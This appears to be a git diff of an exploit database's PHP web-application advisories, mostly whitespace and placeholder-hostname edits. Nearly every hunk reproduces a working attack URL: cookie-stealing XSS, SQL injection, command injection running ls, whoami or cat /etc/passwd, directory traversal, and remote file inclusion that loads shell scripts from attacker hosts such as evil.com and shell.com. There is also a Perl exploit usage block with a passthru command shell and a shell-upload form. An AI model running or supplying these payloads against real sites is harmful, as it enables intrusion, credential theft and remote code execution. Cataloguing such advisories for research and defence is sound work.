a/platforms/php/webapps/23462.txt b/platforms/php/webapps/23462.txt index 6c89252d2..a00c5dab5 100755 --- a/platforms/php/webapps/23462.txt +++ b/platforms/php/webapps/23462.txt @@ -8,4 +8,4 @@ http://www.example.com/default.php?cPath=[MID]&sort=5a&page=1&action=buy_now&pro [MID] = A Valid Manufacturer ID Number [PID] = A Valid Product ID Number -[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS \ No newline at end of file +[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS \ No newline at end of file diff --git a/platforms/php/webapps/23463.txt b/platforms/php/webapps/23463.txt index 5c2c3668e..0eb6c3697 100755 --- a/platforms/php/webapps/23463.txt +++ b/platforms/php/webapps/23463.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9277/info A vulnerability has been reported to exist in the software that may allow a remote user to launch cross-site scripting attacks. The problem is reported to exist due to improper sanitizing of user-supplied data in certain URI parameters passed to the default.php script. This vulnerability makes it possible for an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. This attack would occur in the security context of the site. -http://www.example.com/default.php?manufacturers_id="><iframe src=http://www.gulftech.org> \ No newline at end of file +http://www.example.com/default.php?manufacturers_id="><iframe src=http://www.gulftech.org> \ No newline at end of file diff --git a/platforms/php/webapps/23473.txt b/platforms/php/webapps/23473.txt index dd3f445d7..b35231ec4 100755 --- a/platforms/php/webapps/23473.txt +++ b/platforms/php/webapps/23473.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9286/info my little forum is prone to a cross-site scripting vulnerability in the 'email.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via the URI parameters. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. -http://www.example.com/forum/email.php?forum_contact="><script>alert(document.domain);</script> \ No newline at end of file +http://www.example.com/forum/email.php?forum_contact="><script>alert(document.domain);</script> \ No newline at end of file diff --git a/platforms/php/webapps/23474.txt b/platforms/php/webapps/23474.txt index 42ba2c5a8..73dac8456 100755 --- a/platforms/php/webapps/23474.txt +++ b/platforms/php/webapps/23474.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9289/info Webfroot Shoutbox is prone to a cross-site scripting vulnerability in the 'viewshoutbox.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software. -http://www.example.com/shoutbox/viewshoutbox.php?error="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/shoutbox/viewshoutbox.php?error="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/23475.txt b/platforms/php/webapps/23475.txt index 941c80492..bb0f161f0 100755 --- a/platforms/php/webapps/23475.txt +++ b/platforms/php/webapps/23475.txt @@ -6,4 +6,4 @@ http://www.example.com/forums/privmsg.php?mode=""><script>alert(document.cookie) t>post&u=2 William Heatley has supplied the following proof of concept: -http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C \ No newline at end of file +http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C \ No newline at end of file diff --git a/platforms/php/webapps/23476.txt b/platforms/php/webapps/23476.txt index 293b3cfa8..1fa486d68 100755 --- a/platforms/php/webapps/23476.txt +++ b/platforms/php/webapps/23476.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9292/info KnowledgeBuilder is prone to a remote file include vulnerability. An attacker could exploit this to cause hostile PHP scripts to be included and executed from a remote server. This would occur in the security context of the web server hosting the software. -http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script] \ No newline at end of file +http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script] \ No newline at end of file diff --git a/platforms/php/webapps/23478.txt b/platforms/php/webapps/23478.txt index d30669c98..96f0935f8 100755 --- a/platforms/php/webapps/23478.txt +++ b/platforms/php/webapps/23478.txt @@ -4,4 +4,4 @@ It has been reported that Psychoblogger may be prone to multiple cross-site scri Psychoblogger version PB-beta1 has been reported to be prone to these issues, however, other versions could be affected as well. -http://www.example.com/entryadmin.php?error=1&errormessage=<script>alert('xss')</script> \ No newline at end of file +http://www.example.com/entryadmin.php?error=1&errormessage=<script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/23483.txt b/platforms/php/webapps/23483.txt index 36cb53f8a..6da89c0d9 100755 --- a/platforms/php/webapps/23483.txt +++ b/platforms/php/webapps/23483.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9303/info OpenBB is prone to a cross-site scripting vulnerability in the 'board.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. -http://www.example.com/board.php?FID=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/board.php?FID=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/23484.txt b/platforms/php/webapps/23484.txt index ebba3f211..11bc5409f 100755 --- a/platforms/php/webapps/23484.txt +++ b/platforms/php/webapps/23484.txt @@ -4,4 +4,4 @@ A vulnerability has been reported to exist in the Survey module of PHP-Nuke that A malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. -http://www.example.com/php-nuke/modules.php?name=Surveys&pollID=a'[sql_code_here] \ No newline at end of file +http://www.example.com/php-nuke/modules.php?name=Surveys&pollID=a'[sql_code_here] \ No newline at end of file diff --git a/platforms/php/webapps/23486.txt b/platforms/php/webapps/23486.txt index c697b9694..fe96d2daf 100755 --- a/platforms/php/webapps/23486.txt +++ b/platforms/php/webapps/23486.txt @@ -4,4 +4,4 @@ Private Message System is prone to a cross-site scripting vulnerability. This is Possible consequences of exploitation include theft of cookie-based authentication credentials or using the issue as an attack vector to exploit latent web browser security flaws. -http://www.example.com/index.php?page=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?page=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/23487.txt b/platforms/php/webapps/23487.txt index 45334d164..2f38b15e8 100755 --- a/platforms/php/webapps/23487.txt +++ b/platforms/php/webapps/23487.txt @@ -6,4 +6,4 @@ metacharacters via the 'count' parameter of php-ping.php script. Exploitation would permit a remote attacker to execute arbitrary commands with the privileges of the web server hosting the vulnerable software. http://www.example.com/php-ping.php?count=1+%26+ls%20-l+%26&submit=Ping%21 -http://www.example.com/php-ping.php?count=1+%26+cat%20/etc/passwd+%26&submit=Ping%21 \ No newline at end of file +http://www.example.com/php-ping.php?count=1+%26+cat%20/etc/passwd+%26&submit=Ping%21 \ No newline at end of file diff --git a/platforms/php/webapps/23494.txt b/platforms/php/webapps/23494.txt index ce19f26a2..2334961f1 100755 --- a/platforms/php/webapps/23494.txt +++ b/platforms/php/webapps/23494.txt @@ -20,7 +20,7 @@ directly. As promised, here is the POC of the attack code: ############################################################## # Shell upload attack:<br /> -# <form enctype="multipart/form-data" action="http://www.exampleserver/wp-content/themes/clockstone/theme/functions/upload.php" method="post"> +# <form enctype="multipart/form-data" action="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php" method="post"> # <input type="text" name="url" value="./" /><br /> # Please choose a file: <input name="uploadfile" type="file" /><br /> # <input type="submit" value="Upload" /> diff --git a/platforms/php/webapps/23507.txt b/platforms/php/webapps/23507.txt index 5ac73a7c1..0327ae050 100755 --- a/platforms/php/webapps/23507.txt +++ b/platforms/php/webapps/23507.txt @@ -6,4 +6,4 @@ http://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp The attacker must have a malicious script hosted at the following location: -http://[attacker's_site]/admin/site_settings.php \ No newline at end of file +http://[attacker's_site]/admin/site_settings.php \ No newline at end of file diff --git a/platforms/php/webapps/23513.txt b/platforms/php/webapps/23513.txt index cbdf7965a..8fdce7162 100755 --- a/platforms/php/webapps/23513.txt +++ b/platforms/php/webapps/23513.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9349/info A problem has been reported in the handling of user-supplied input by the Athena Web Registration scripts. Because of this, it may be possible for an attacker to gain unauthorized access to a vulnerable system. -http://www.example.com/athenareg.php?pass=%20;whoami \ No newline at end of file +http://www.example.com/athenareg.php?pass=%20;whoami \ No newline at end of file diff --git a/platforms/php/webapps/2356.txt b/platforms/php/webapps/2356.txt index 35172d7b1..dfefd299a 100755 --- a/platforms/php/webapps/2356.txt +++ b/platforms/php/webapps/2356.txt @@ -26,7 +26,7 @@ require_once $set['include_path'] . '/lib/bbcode.php'; Exploit: -http://www.server/[path]/lib/activeutil.php?set[include_path]=http://server/evilscript.txt? +http://www.site.com/[path]/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt? #################################################### diff --git a/platforms/php/webapps/2359.txt b/platforms/php/webapps/2359.txt index 35e414d07..3427c0db3 100755 --- a/platforms/php/webapps/2359.txt +++ b/platforms/php/webapps/2359.txt @@ -31,6 +31,6 @@ if(!@include($art."downstat_art/in_html.php")){ exit("upload ".$art."in_html.php EXAMPLE: -http://server/downstat1.8/chart.php?art=http://silenz.be/shell.txt? +http://site.com/downstat1.8/chart.php?art=http://silenz.be/shell.txt? # milw0rm.com [2006-09-13] diff --git a/platforms/php/webapps/23599.txt b/platforms/php/webapps/23599.txt index 3b4336823..0e49be668 100755 --- a/platforms/php/webapps/23599.txt +++ b/platforms/php/webapps/23599.txt @@ -4,4 +4,4 @@ It has been reported that Gallery is prone to a vulnerability that may allow a r The vendor has reported that this issue exists in Gallery versions 1.3.1, 1.3.2, 1.3.3, 1.4 and 1.4.1. -http://www.example.com/gallery/init.php?HTTP_POST_VARS=xxx \ No newline at end of file +http://www.example.com/gallery/init.php?HTTP_POST_VARS=xxx \ No newline at end of file diff --git a/platforms/php/webapps/23606.txt b/platforms/php/webapps/23606.txt index 001e75852..701b71086 100755 --- a/platforms/php/webapps/23606.txt +++ b/platforms/php/webapps/23606.txt @@ -7,4 +7,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas Xoops versions 2.x have been reported to be prone to this issue. http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577&forum=2"><script>alert(document.cookie);</script> -http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577"><script>alert(document.cookie);</script>&forum=2 \ No newline at end of file +http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577"><script>alert(document.cookie);</script>&forum=2 \ No newline at end of file diff --git a/platforms/php/webapps/23607.txt b/platforms/php/webapps/23607.txt index cc227b983..803cdad68 100755 --- a/platforms/php/webapps/23607.txt +++ b/platforms/php/webapps/23607.txt @@ -8,4 +8,4 @@ http://www.example.com/index.php?kietu[url_hit]=http://[attacker]/ Where the 'config.php' file must exist: -http://[attacker]/config.php \ No newline at end of file +http://[attacker]/config.php \ No newline at end of file diff --git a/platforms/php/webapps/2361.txt b/platforms/php/webapps/2361.txt index 37d347ee0..d5b6c02cf 100755 --- a/platforms/php/webapps/2361.txt +++ b/platforms/php/webapps/2361.txt @@ -18,7 +18,7 @@ ==============================================================================, +Exploit: -http://www.server/[script_path]/bottom.php?root=http://evil_scripts? +http://www.site.com/[script_path]/bottom.php?root=http://evil_scripts? ============================================================================== diff --git a/platforms/php/webapps/23628.txt b/platforms/php/webapps/23628.txt index 04a0d0d03..fa74089c6 100755 --- a/platforms/php/webapps/23628.txt +++ b/platforms/php/webapps/23628.txt @@ -4,4 +4,4 @@ Due to a lack of access validation to the '_admin' directory, malevolent users m http://www.example.org/_admin/ http://www.example.org/_admin/list_all.php?folder=../ -http://www.example.org/_admin/upload.php \ No newline at end of file +http://www.example.org/_admin/upload.php \ No newline at end of file diff --git a/platforms/php/webapps/23630.txt b/platforms/php/webapps/23630.txt index 499380bf4..9319ecbb2 100755 --- a/platforms/php/webapps/23630.txt +++ b/platforms/php/webapps/23630.txt @@ -4,4 +4,4 @@ Aprox Portal is prone to a vulnerability that may permit remote attackers to gai This could expose sensitive information that may be useful in further attacks against the host. -http://www.example.com/index.php?show=/etc/passwd \ No newline at end of file +http://www.example.com/index.php?show=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/23631.txt b/platforms/php/webapps/23631.txt index 5de3f980f..6871de98e 100755 --- a/platforms/php/webapps/23631.txt +++ b/platforms/php/webapps/23631.txt @@ -131,4 +131,4 @@ For more informations about this exploit : target="_blank"> Security-Corporation.com</a></p> </body> </html> ---------------------PHPNUKEexploit3.html-------------------- \ No newline at end of file +--------------------PHPNUKEexploit3.html-------------------- \ No newline at end of file diff --git a/platforms/php/webapps/23636.txt b/platforms/php/webapps/23636.txt index 0c4fa990a..09a04608d 100755 --- a/platforms/php/webapps/23636.txt +++ b/platforms/php/webapps/23636.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9560/info X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. -http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR || \ No newline at end of file +http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR || \ No newline at end of file diff --git a/platforms/php/webapps/23639.txt b/platforms/php/webapps/23639.txt index 864822f55..ae6c64f27 100755 --- a/platforms/php/webapps/23639.txt +++ b/platforms/php/webapps/23639.txt @@ -4,4 +4,4 @@ X-Cart has been reported to be prone to an issue that may allow remote attackers It has been reported that there is also an information disclosure issue with the 'general.php' script that resides in the 'admin' directory of the application. The 'mode' URI parameter can be set to request information on the current PHP and Perl software versions, allowing potential attackers the gain access to sensitive system details. -http://servername/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd \ No newline at end of file +http://servername/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/23640.txt b/platforms/php/webapps/23640.txt index 097942815..fa1c80ef0 100755 --- a/platforms/php/webapps/23640.txt +++ b/platforms/php/webapps/23640.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9564/info phpMyAdmin is prone to a vulnerability that may permit remote attackers to gain access to files that are readable by the hosting web server. The issue is reported to exist in the 'export.php' script and may be exploited by providing directory traversal sequences as an argument for a specific URI parameter. -http://www.example.com/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/2365.txt b/platforms/php/webapps/2365.txt index b1fc88c50..40a1b4206 100755 --- a/platforms/php/webapps/2365.txt +++ b/platforms/php/webapps/2365.txt @@ -43,7 +43,7 @@ The second flaw is due to an input validation error in the "article.php" script http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00 -http://localhost/newscript/article.php?ide=http://server/script.txt ? +http://localhost/newscript/article.php?ide=http://site.com/script.txt ? # Solution : diff --git a/platforms/php/webapps/23673.txt b/platforms/php/webapps/23673.txt index 86211da63..1dc07a1bc 100755 --- a/platforms/php/webapps/23673.txt +++ b/platforms/php/webapps/23673.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/2368.txt b/platforms/php/webapps/2368.txt index 86fb460ca..0614b22bb 100755 --- a/platforms/php/webapps/2368.txt +++ b/platforms/php/webapps/2368.txt @@ -14,7 +14,7 @@ ######################################################################### #Exploit # -#http://server/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt? +#http://site.com/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt? # #Example:www.teamcounter.com/tcpro/includes/footer.html.inc.php?tc_config[app_root]=shell.txt? # diff --git a/platforms/php/webapps/2369.txt b/platforms/php/webapps/2369.txt index 94cbab116..89775c506 100755 --- a/platforms/php/webapps/2369.txt +++ b/platforms/php/webapps/2369.txt @@ -27,7 +27,7 @@ #Exploit : #-------------------------------- # -#http://server/[path]/zipndownload.php?PP_PATH=http://SHELLURL.COM? +#http://site.com/[path]/zipndownload.php?PP_PATH=http://SHELLURL.COM? # #=================================I LOVE SAUDI ARABIA============================================= diff --git a/platforms/php/webapps/2372.txt b/platforms/php/webapps/2372.txt index 4f63ba8a9..37006a596 100755 --- a/platforms/php/webapps/2372.txt +++ b/platforms/php/webapps/2372.txt @@ -16,7 +16,7 @@ + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= + -+Exploit: http://www.server/[script path]/system/_b/contentFiles/gBIndex.php?gBRootPath=evil_scripts? ++Exploit: http://www.site.com/[script path]/system/_b/contentFiles/gBIndex.php?gBRootPath=evil_scripts? + =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-= + Thanx : str0ke, Ironfist, Preddy, SHiKaA, mdx, gültekin, R3D4C!D, DaRK, insomnia, mirim, Dreamlord, diff --git a/platforms/php/webapps/23722.txt b/platforms/php/webapps/23722.txt index fd734aa0e..d6c4e2043 100755 --- a/platforms/php/webapps/23722.txt +++ b/platforms/php/webapps/23722.txt @@ -4,4 +4,4 @@ Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilit Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks. -http://www.example.org/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print \ No newline at end of file +http://www.example.org/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print \ No newline at end of file diff --git a/platforms/php/webapps/23725.txt b/platforms/php/webapps/23725.txt index d045caf03..936b4260b 100755 --- a/platforms/php/webapps/23725.txt +++ b/platforms/php/webapps/23725.txt @@ -4,4 +4,4 @@ Owl's Workshop is reported prone to multiple remote file-disclosure vulnerabilit Upon successful exploitation of these issues, an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks. -http://www.example.org/owls/glossaries/index.php?file=/etc/passwd \ No newline at end of file +http://www.example.org/owls/glossaries/index.php?file=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/2373.txt b/platforms/php/webapps/2373.txt index a42aa3aef..47ad441aa 100755 --- a/platforms/php/webapps/2373.txt +++ b/platforms/php/webapps/2373.txt @@ -45,7 +45,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <phpdocwriter Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[phpdocwriter_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[phpdocwriter_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -115,7 +115,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <phpdocwriter Locaction> <shell location> <shell cmd>\r\n\n"; -print " <phpdocwriter Locaction> - Full path to phpdocwriter ex: http://www.server/phpdocwriter/\r\n"; +print " <phpdocwriter Locaction> - Full path to phpdocwriter ex: http://www.site.com/phpdocwriter/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/23767.txt b/platforms/php/webapps/23767.txt index c4add0d76..58410dba6 100755 --- a/platforms/php/webapps/23767.txt +++ b/platforms/php/webapps/23767.txt @@ -10,4 +10,4 @@ http://www.example.com/?c='><script>alert(window.document.url)</script><plaintex http://www.example.com/?act=SR&f='><script>alert(document.cookie)</script> http://www.example.com/?showuser='><script>alert(document.cookie)</script> http://www.example.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert -(document.cookie)</script> \ No newline at end of file +(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2377.txt b/platforms/php/webapps/2377.txt index e0921a0db..8c7df26a4 100755 --- a/platforms/php/webapps/2377.txt +++ b/platforms/php/webapps/2377.txt @@ -9,8 +9,8 @@ require_once( "$dir[inc]db.inc.php" ); require_once( "$dir[inc]prof.inc.php" ); Exploit: -http://server/[script_path]/inc/design.inc.php?dir[inc]=http://evil.com/shell.txt? -http://server/[script_path]/inc/admin_design.inc.php?dir[inc]=http://evil.com/shell.txt ? +http://site.com/[script_path]/inc/design.inc.php?dir[inc]=http://evil.com/shell.txt? +http://site.com/[script_path]/inc/admin_design.inc.php?dir[inc]=http://evil.com/shell.txt ? Video: http://rapidshare.de/files/33316468/AEDating_SQL.rar.html diff --git a/platforms/php/webapps/23770.txt b/platforms/php/webapps/23770.txt index 793b0e686..82c56afec 100755 --- a/platforms/php/webapps/23770.txt +++ b/platforms/php/webapps/23770.txt @@ -4,4 +4,4 @@ It has been reported that iGeneric Free Shopping Cart is prone to an SQL injecti As a result of this issue a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been conjectured that an attacker may be able to disclose user password hashes by exploiting this issue. This issue may also be leveraged to exploit latent vulnerabilities within the database itself. -page.php?page_type=catalog_products&type_id[]='[SQL-Injection]&SESSION_ID={SESSION_ID}&SESSION_ID= \ No newline at end of file +page.php?page_type=catalog_products&type_id[]='[SQL-Injection]&SESSION_ID={SESSION_ID}&SESSION_ID= \ No newline at end of file diff --git a/platforms/php/webapps/2379.txt b/platforms/php/webapps/2379.txt index e60a047c3..a2f3efffb 100755 --- a/platforms/php/webapps/2379.txt +++ b/platforms/php/webapps/2379.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## # Mambo com_registration_detailed <= 4.1 Remote File Inclusion # # Download Source : http://mamboxchange.com/projects/regdetailed/ diff --git a/platforms/php/webapps/2383.txt b/platforms/php/webapps/2383.txt index 83cb71c60..d1cb16be2 100755 --- a/platforms/php/webapps/2383.txt +++ b/platforms/php/webapps/2383.txt @@ -21,7 +21,7 @@ Vulnerable: require $abspath."/functions.php"; Exploit PoC: -http://server/[dir]/header.php?abspath=http://server/shell.php? +http://site.com/[dir]/header.php?abspath=http://site.com/shell.php? #################################################################### diff --git a/platforms/php/webapps/23908.txt b/platforms/php/webapps/23908.txt index 331601040..2ded70e9f 100755 --- a/platforms/php/webapps/23908.txt +++ b/platforms/php/webapps/23908.txt @@ -4,4 +4,4 @@ It has been reported that OpenBB is prone to a vulnerability that may allow mali This may allow a remote attacker to manipulate query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/myhome.php?action=readmsg&id=1[SQL CODE] \ No newline at end of file +http://www.example.com/myhome.php?action=readmsg&id=1[SQL CODE] \ No newline at end of file diff --git a/platforms/php/webapps/2393.txt b/platforms/php/webapps/2393.txt index 3b1cbf2c7..426494e9f 100755 --- a/platforms/php/webapps/2393.txt +++ b/platforms/php/webapps/2393.txt @@ -15,23 +15,23 @@ #Exploit : #-------------------------------- # -#http://server/[path]/affiliates.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/orders.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/events.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/index.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/articles.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/faqs.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/guestbook.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/catalog.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/wholesale.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/weblinks.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/certificates.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/sitesearch.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/contact.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/sitemap.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/search.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/registry.php?Inc_Dir=http://shell.com/shell.txt? -#http://server/[path]/error.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/affiliates.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/orders.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/events.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/index.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/articles.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/faqs.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/guestbook.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/catalog.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/wholesale.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/weblinks.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/certificates.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/sitesearch.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/contact.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/sitemap.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/search.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/registry.php?Inc_Dir=http://shell.com/shell.txt? +#http://site.com/[path]/error.php?Inc_Dir=http://shell.com/shell.txt? # #============================================================================== #Discoverd By : SnIpEr_SA diff --git a/platforms/php/webapps/2398.txt b/platforms/php/webapps/2398.txt index ff33e1522..bd2e287fb 100755 --- a/platforms/php/webapps/2398.txt +++ b/platforms/php/webapps/2398.txt @@ -22,11 +22,11 @@ Layout f?r Echos & Prints. */ .... .. -Key [:] _PHPLIB[libdir]=http://server/command.php? +Key [:] _PHPLIB[libdir]=http://target.com/command.php? \Example: -http://server/rechnung.php?_PHPLIB[libdir]=http://server/command.php? +http://target.com/rechnung.php?_PHPLIB[libdir]=http://target.com/command.php? # ajann,Turkey # ... diff --git a/platforms/php/webapps/2399.txt b/platforms/php/webapps/2399.txt index f4657922f..621d2b821 100755 --- a/platforms/php/webapps/2399.txt +++ b/platforms/php/webapps/2399.txt @@ -25,11 +25,11 @@ include($root_path.'include/lib/data.lib.php'); .... .. -Key [:] root_path=http://server/command.php? +Key [:] root_path=http://target.com/command.php? \Example: -http://server/include/startup.inc.php?root_path=http://server/command.php? +http://target.com/include/startup.inc.php?root_path=http://target.com/command.php? # ajann,Turkey # ... diff --git a/platforms/php/webapps/23997.txt b/platforms/php/webapps/23997.txt index 0d3e833fb..6ef7eb77c 100755 --- a/platforms/php/webapps/23997.txt +++ b/platforms/php/webapps/23997.txt @@ -20,10 +20,10 @@ This allows an attacker to retrieve data using a time-based blind injection tech For example, the attacker could send the following post data to extract the name of the current database. -http://server/validate.php?toocheckout=asdf +http://site.com/validate.php?toocheckout=asdf POST DATA: cart_order_id=*Attackers UserID*WEBID1&credit_card_processed=Y&total=1, name=(SELECT database()) The resulting query would be: UPDATE users SET balance = balance + 1, name=(SELECT database()) WHERE id = *Attackers User ID* -Then the attacker could sign in to their account and view the requested data by going to the edit_data.php page \ No newline at end of file +Then the attacker could sign in to their account and view the requested data by going to the edit_data.php page \ No newline at end of file diff --git a/platforms/php/webapps/24072.txt b/platforms/php/webapps/24072.txt index 23d057570..14c0398cd 100755 --- a/platforms/php/webapps/24072.txt +++ b/platforms/php/webapps/24072.txt @@ -4,4 +4,4 @@ Coppermine Photo Gallery is reported prone to multiple input-validation vulnerab Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible. -http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);> \ No newline at end of file +http://www.example.com/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);> \ No newline at end of file diff --git a/platforms/php/webapps/24073.txt b/platforms/php/webapps/24073.txt index 72e7fbc14..f80a39c6b 100755 --- a/platforms/php/webapps/24073.txt +++ b/platforms/php/webapps/24073.txt @@ -4,4 +4,4 @@ Coppermine Photo Gallery is reported prone to multiple input-validation vulnerab Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible. -http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../.. \ No newline at end of file +http://www.example.com/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../.. \ No newline at end of file diff --git a/platforms/php/webapps/2411.pl b/platforms/php/webapps/2411.pl index 494bc78ca..6b3d8ddf6 100755 --- a/platforms/php/webapps/2411.pl +++ b/platforms/php/webapps/2411.pl @@ -60,7 +60,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <ProgSys Locaction> <shell location> <shell cmd> # -# perl 